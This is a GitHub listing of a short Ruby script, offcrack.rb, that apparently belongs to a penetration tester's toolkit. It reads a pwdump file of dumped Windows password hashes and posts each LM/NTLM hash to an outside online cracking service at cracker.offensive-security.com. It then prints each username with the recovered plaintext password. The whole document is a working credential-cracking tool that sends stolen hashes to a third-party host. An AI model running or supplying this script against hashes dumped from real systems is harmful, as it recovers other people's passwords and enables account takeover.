/
offcrack.rb
executable file
·78 lines (71 loc) · 1.91 KB
/
offcrack.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#!/usr/bin/env ruby
# == offcrack.rb
#
# A command line wraper for cracker.offensive-security.com
#
# == Usage
#
# mping.sh -c [priority_code] pwdump_file
#
# == Description
#
# Loop through a pwdump and lookup every hash using
# craker.offensive-security.com
#
# Note: It doesn't support looking up for queued hashed
#
# == Author
#
# Jerry Wozniak <jerry@pstree.org>
#
# == Version
#
# offcrack-0.1
#
# == Created
#
# 2013-10-01
#
#===================================================================================
require 'net/http'
require 'optparse'
options = {}
op = OptionParser.new do |opt|
opt.banner = "Usage: #{File.basename($0)} [-c priority_code] pwdump_file"
opt.separator("\nWhere available options:")
opt.on("-c", "--code NUM", "Priority code assigned by Offsec") { |c| options[:code] = c }
opt.on("-v", "--verbose", "Verbose output") { options[:verbose] = true }
opt.on("-h", "--help", "Show this help") { puts opt; exit 1 }
if ARGV.empty?
puts opt
exit 1
end
end
op.parse!
if ARGV.empty?
puts "ERROR: Please specify the pwdump file with hashes"
exit 1
end
#Defaults
uri = URI('http://cracker.offensive-security.com/insert.php')
pwdumpfile = ARGV.pop
pwdump = File.open(pwdumpfile)
pwdump.each do |line|
pwfield = line.split(':')
user = pwfield[0]
hash = pwfield[2] + ':' + pwfield[3]
print user + ':'
res = Net::HTTP.post_form(uri, 'hash' => hash,
'type' => 'lm',
'method' => 'table',
'priority' => options[:code])
if res.body.to_s.match('The plaintext is')
print res.body.split(/- /)[1].split('<')[0]
elsif res.body.to_s.match('queued')
print ':QUEUED Please check the webiste manually)'
else
print ":ERROR #{res.code} #{res.message}"
end
p res if options[:verbose]
print "\n"
end